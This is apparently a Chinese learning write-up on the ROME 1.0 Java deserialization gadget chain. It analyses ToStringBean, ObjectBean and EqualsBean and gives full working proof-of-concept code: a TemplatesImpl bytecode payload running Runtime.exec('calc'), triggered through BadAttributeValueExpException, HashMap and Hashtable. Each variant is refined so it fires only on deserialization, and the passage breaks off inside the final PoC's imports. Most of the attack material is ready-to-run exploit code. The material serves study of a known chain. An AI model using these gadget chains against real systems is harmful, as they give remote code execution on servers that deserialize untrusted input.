Rome链

Java学习

Rome链

RMOE 是一个用于RSS 和 Atom 订阅的Java框架。它是开源的。

它是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或Java对象。

环境准备

环境依赖:

1
2
3
4
5
<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

测试环境:

  • JDK 8u411
  • rome 1.0

需要了解的类

ToStringBean

这个类位于com.sun.syndication.feed.impl.ToStringBean,这个类主要就是看他的toString方法。

他有两个toStirng()方法,前一个是无参的public类型的方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public String toString() {
        Stack stack = (Stack)PREFIX_TL.get();
        String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
        String prefix;
        if (tsInfo == null) {
            String className = this._obj.getClass().getName();
            prefix = className.substring(className.lastIndexOf(".") + 1);
        } else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }

        return this.toString(prefix);
    }

后面一个就是有参的private类型的方法,源代码为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

先简单了解一下,后面再细说。

ObjectBean

这个类位于com.sun.syndication.feed.impl.ObjectBean,它是Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个Object 对象实例进行封装: image-20250122141107196

现在着重于看这个类中的方法,这里有三个方法可以利用,下面分别说明一下:

toString()

ObjectBean类的toString()方法源代码如下:

image-20250122141058961

所以这里会调用ToStringBean类的toString()方法,前面说过ToStringBean来有两个toString()方法,这里是没有传入参数的,所以调用的是ToStringBean的第一个toString()方法。

image-20250122141051902

并且可以看出最后调用的是第二个toString并传入了prefix,这里简单分析一下途中我画红线两段代码,其实就是获取我传入的类实例的名字。看下面代码就能看懂:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package org.example;


public class Haha {
    public static void main(String[] args) throws Exception {
        String prefix;
        Haha _obj =new Haha();
        String className = _obj.getClass().getName();
        System.out.println(className);
        prefix = className.substring(className.lastIndexOf(".") + 1);
        System.out.println(prefix);
    }
}

结果为:

1
2
org.example.Haha
Haha

基本就知道了,就是用来获取类名的。

——————

现在我们再来看第二个toString()方法,重点分析其中的一部分代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        }

1.先看BeanIntrospector.getPropertyDescriptors(this._beanClass),我们点开源代码看一下:

image-20250122141037209

这里用到了_introspected变量,我们可以看一下这个变量的赋值: image-20250122141028092

可以看到这里就直接将这个变量赋值为了HashMap类的实例。继续看getPropertyDescriptors方法,逐行来看:

1
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));

所以这里会调用HashMap的get方法,来获取kclass对应的值。

再来看一下我们在实例化ObjectBean时调用的ToStringBean类的构造方法: image-20250122141019667

所以这里的kclass对应的_beanClass的类型是一个Class类对象。

——————

继续getPropertyDescriptors方法,很明显我们并没有往BeanIntrospector的HashMap中放入任何值,所以这里的get()返回的肯定是null。

所以顺理成章进入到if语句,如下代码:

1
2
3
4
if (descriptors == null) {
            descriptors = getPDs(klass);
            _introspected.put(klass, descriptors);
        }

这里会先调用getPDs()方法,然后再将这个kclass和getPDs的结果put进HasMap里形成一个键值对。

现在再来看这里调用的getPDs(): image-20250122141010442

这个方法大概就是获取这个Class对象所有的getter和setter然后打包成数组返回。

所以这个方法最终会将这个Class对象和它的setterr和getter打包成键值对放入BeanIntrospector类的HashMap中。

最后会将这个数组返回:

image-20250122141001898

所以这里的getPropertyDescriptors()方法就是获取我们传入的Class对象的getter和setter方法,逻辑还是挺好看懂的,如果HashMap中有相对应的键值对就直接以数组形式返回setter和getter方法,没有的话就重新找然后返回。

————————

2.继续看toString()方法,现在得到了结果,假设我们传入的Class有getter和setter,那么getPropertyDescriptors()方法返回的就不为null,即pds不为null,成功进入if条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }

现在就是重点分析if语句内的java语句了。

对于这个for循环,只要能进入if语句就能进行至少一次for循环(因为数组中只要有一个值那么length就为1),继续看后面的代码: image-20250122140952032

然后这里的 getReadMethod() 方法是获取Class对象的getter方法,如果正确获取到了get方法,应该就可以通过里面的if条件,然后就可以调用到invoke方法,这里的NO_PARAMS变量的值也是固定的,如下: image-20250122140932966

这里可以把new Object[0]理解成类似于null这种,然后就可以正常调用getter方法获取值。

现在就出来了一条链,类似CB链这种,现在就可以利用到TemplateImpl类的getOutputProperties()方法: image-20250122140923781

这样就可以直接构造攻击了。现在就可以先去看攻击构造的toString部分了.

hashCode()

再粘过来一下ObjectBean的构造方法:

image-20250122140915047

这里ObjectBean类的hashCode()方法源码如下:

image-20250122140907377

然后从上面的初始化方法可以看出这里会调用 _equalsBean 变量对应的EqualsBean类实例的beanHashCode() 方法,源码如下: image-20250122140859844

这里就又是一个触发toString()方法的地方,并且这个EqualsBean类的_obj变量是可控的: image-20250122140852350

前面的判断语句就是看我传入的参数obj是否是beanClass类的实例,是的话就返回true,反之依然,由于!,所以这里我们传入的obj需要是beanClass的实例。只要我们将这里的Obj又控制为一个恶意ObjectBean类实例即可。

现在就又可以构造一个利用链了。这里是用的HashMap来构造。现在就可以直接去看攻击构造的hashCode()那一步了。

equals()

同样的再次把ObjectBean构造方法粘过来一下: image-20250122140843363

现在来看这个类的equals()方法: image-20250122140825990

所以这里会调用EqualsBean类的beanEquals()方法,方法重点源码如下:

image-20250122140818245

这里的代码和前面的toString()方法大相径庭,还是获取一个类的getter和setter方法,然后调用invoke()方法。

现在的想法就是对前面的if条件的判断,如下: image-20250122140810409

前面很好进,主要就是我重点标注的地方。这里就是要求我们传入的obj是 _beanClass 的实例。这个简单,传一个impl进去就行。

先来看我们如何调用这个equals()方法。正好我们的CC7中就有利用到equals()方法。这里就是用Hashtable类。

后续就可以直接去看攻击构造了。

攻击构造

toString()

前面说的已经非常清楚了。还是挺简单的。

那么还是利用动态加载字节码。基本盘: Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就是接入链子。

主要就是想在哪里可以调用ObjectBean的toString()方法。而在CC5中用到的BadAttributeValueExpException类反序时就可以调用到toStirng方法(这个类位于javax.management.BadAttributeValueExpException):

image-20250122140750445

在CC5我们就说了这里的valObj其实对应的就是序列化的变量val,所以我们控制这个变量为ObjectBean()即可,使用反射来更改val的值即可,那么构造的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;

import com.sun.syndication.feed.impl.ObjectBean;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
        ObjectBean x1 = new ObjectBean(TemplatesImpl.class,impl);

        setFieldValue(haha,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(haha);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

弹不了,然后我去看了一下其他师傅的文章,发现这里不能用TemplatesImpl.class,而是Templates.class,关系如下: image-20250122140740569

在Templates.class中有个接口,里面就有我们要利用的getOutputProperties:

image-20250122140732767

所以我们就可以使用Templates.class来获取到这个getter方法。

那么为什么我们要使用这个呢?明明逻辑上没有问题,TemplatesImpl.class就是有问题呢?

先给POC,然后我们再调试看看。

所以最终POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;

import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
        ObjectBean x1 = new ObjectBean(Templates.class,impl);

        setFieldValue(haha,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(haha);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在来解决一下之前的问题。我打断点如下:

image-20250122140722441

确实成功直接获取到了我们想要利用的getOutputProperties()方法,但是当我如下打断点:

image-20250122140713091

然后调试,发现这里并不会进入到这个语句。这让我想到了之前CC5个人思考那里的问题,在我们动态加载字节码的时候,由于其中的过程,导致了在中间某一步直接报错退出。

结合这个,我们来想一下如果利用TemplatesImpl.class,因为TemplatesImpl.class中的getter不止一个,所以其实很有可能在其中某个getter直接报错退出了,导致我们没能成功利用到想用的getOutputProperties()方法。

然后我们再用原先错误的TemplatesImpl.class调试一下,还是打断点如下: image-20250122140705151

当调用到getStylesheetDOM()时,invoke那里确实就直接报错退出到catch部分了: image-20250122140655861

。这个getStylesheetDOM()方法如下: image-20250122140646840

——————

OK,问题解决。

所以注意:后面这里记到用Templates.class,而不是TemplatesImpl.class。

hashCode()

这里是用的HashMap,但是同样的应该HashSet和Hashtable也行,这三个都是由hashCode链的。分析一下HashMap类: 同样的基本盘:

Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就是接入HashMap。

还是很简单的。

就是为了触发恶意ObjectBean的toString()方法,POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;

import com.sun.syndication.feed.impl.ObjectBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ObjectBean bean = new ObjectBean(Templates.class,impl);

        HashMap hashMap = new HashMap();
        ObjectBean x = new ObjectBean(ObjectBean.class,bean);
        hashMap.put(x,"fupanc");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功按照预期弹出两个计算机。(序列一个,反序列化一个)

但是好像还是有点问题,构思一下,如何在反序列化的时候只弹出一个计算机:

正常来说肯定会在序列化前的那个put()方法会调用一次完整的链,那里会导致异常输出,所以并不能成功利用。

现在来看看在toString()方法获取getter并调用的代码:

image-20241018215336589

我想到了一个点,是否可以让这里的pds为null,从而在序列化前不进入if条件从而不会调用到getter方法,在put方法过后再反射修改值呢?

那么这个pds变量的赋值也是分析过的,所以可以尝试找没有getter和setter方法的class对象?

主要是要满足如下条件:

image-20250105180302639

也就是这个EqualsBean类实例化时必须满足相对应的实例。找了一下没找到。

其实具体的方法可以参考后面的equals()方法链的解决方法,具体想法可以先看后面,这里就给一个POC后再简单说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean bean = new ToStringBean(Templates.class,impl);

        EqualsBean x = new EqualsBean(String.class,"fupanc");

        HashMap hashMap = new HashMap();
        hashMap.put(x,"fupanc");

        setFieldValue(x,"_beanClass",ToStringBean.class);
        setFieldValue(x,"_obj",bean);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

简单说明一下,这里讲ObjectBean类都换成了相对应的类,并且其实这里最终调用的都是相对应的类:

image-20250106175004027

对于这里的hashCode(),其实调用的就是EqualsBean类的beanHashCode()方法:

image-20250106175045749

也就是漏洞触发点:

image-20250106175138908

在这里,我是将EqualsBean赋值时也是相对应的String.class和"fupanc",符合EqualsBean类的构造函数方法,主要的不同点就是上面的beanHashCode()方法,原先的POC中是会直接调用到toString()方法触发一次调用链的,但是在这里,我将这个_obj变量赋值为了一个字符串实例,所以这里就是一个单纯的算hash的过程:

image-20250106175508437

那么后续就是成功往hashMap中放进了键值对,然后在反序列化时也是符合预期的:

image-20250122140626020

并且运行后只在反序列化时弹出一个计算机,成功修改。

等如HashSet、Hashtable基本都差不多,如果过滤HashMap时要想到这些。

equals()s

还是先来给出基本盘: Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在还是来想如何将基本盘接入Hashtable类。

重点还是在于readObject()调用的reconstitutionPut(): image-20250122140612239

下面来分析一下。

先从序列化过程说起。再总结一下前面的需求: 1.首先就是调用到的ObjectBean的equals()方法,现在着重看参数image-20250122140555188

这里传入的other参数,继续看beanEquals()方法: image-20250122140544378

也就是这里的obj,单纯对obj来说就这前面的利用,由于我们想要正常利用后面的invoke()方法,所以需要满足this._beanClass.isInstance(obj),这样才会进入else执行我们想用的代码。在这里我会尝试传入一个TemplatesImpl实例,但是真正利用的却并不是这个传入的TemplatesImpl类实例,看利用代码:

image-20250106164215799

也是之前一直说的,动态加载字节码后会直接报异常然后退出,所以这里真正利用到的其实只是这个bean1,而这个bean1对应的是_obj这个变量,那个这里的bean1,也就是我们构造的参数传递的值,起的真正作用是什么,就是为了满足this._beanClass.isInstance(obj),也就只有这个作用了,具体参数传递后面会讲,作用也就是这个。

2.现在再来看一下Hashtable的put方法:

image-20250122140534016

如何触发equals()方法,自己想了一下,本来想直接传入ObjectBean类实例的,但是对于这里的hash相等不一定。

看了一下nivia师傅的文章,调用的是HashMap的equals()方法,这个equals()方法调用过程是和CC7的那条链差不多的。

现在再来看一下HashMap的equals()调用过程:

HashMap父类AbstractMap的equals()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

在这个方法代码里面还有一处是调用的equals

image-20250122140517843

就是这里,只要控制这里的value为ObjectBean类实例即可。

结合前面的需求,我们需要传入两个,一个是HashMap类实例,还有个就是TemplatesImpl类实例,但是看这里参数的传递,其实就是m.get(key)中的m对应前面说过的ObjectBean类的equals()方法的other,然后这里的m又是对应的传入的o:

image-20250122140509825

即: image-20250122140452217

这里的key。

所以现在我们是需要传入两个HashMap类实例,然后这里对第二个HashMap类调用get时可以返回一个TemplatesImpl类实例。所以我们需要put进去。

这里总结一下前面的需求

  • value赋值为ObjectBean类实例

  • 传入两个HashMap类实例并且需要有TemplatesImpl类实例的值。

问题解决:

  • value的赋值问题

image-20250122140443169

就是这个,所以我们还需要给HashMap传进去一个ObjectBean类实例的值。同时在CC7学习中,我们可以知道这里的e是hashMap0(假设会向Hashtable中传入hashMap0和hashMap1),这也是为什么在CC7那里要移除yy的原因。

根据这个,我们的两个HashMap类就需要有逻辑。直接给代码:

1
2
3
4
5
6
7
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);

比如说当前面拿到的第一个HashMap的key和value分别为zZ和bean,那么此时对于我们的第二个HashMap调用的就是get(“zZ”),而我们这里需要的是impl,所以在第二个HashMap的键值对中我们就需要将键zZ的值设置为impl,所以这里也是需要反着来的原因。

那么又是为什么要两个呢?

按理说应该如下代码就行了:

1
2
3
4
5
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);

这样不就已经对应了吗。这就与hash值相等有关系了,继续看后面。

  • hash值相同的问题

在前面也说过了,会传入两个HashMap类,所以会调用HashMap的父类AbstractMap的hashCode()方法,在CC7也有说过,过程中需要注意的点就是: image-20250122140432707

在生成哈希码的时候需要考虑到key和value

毋庸置疑yy和zZ本身就已经哈希碰撞相同了。在我们之前的提出的疑问:为啥设置两个,这里就能给出答案:像前面那样只设置一个,key是相同了,但是这里的value是肯定不相同的

所以我们需要设置两个:

1
2
3
4
5
6
7
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);

——————

现在就可以尝试一下构造代码了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;

import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        ObjectBean bean = new ObjectBean(Templates.class,impl);
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",impl);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",impl);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行后只弹出一个计算机,那么只能是序列化的时候弹出来的,打断点调试一下,发现确实是都没有进入序列化部分,并且是无法放入第二个键值对的:

image-20250106164718550

解决方法,还是反射更改,代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;

import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;

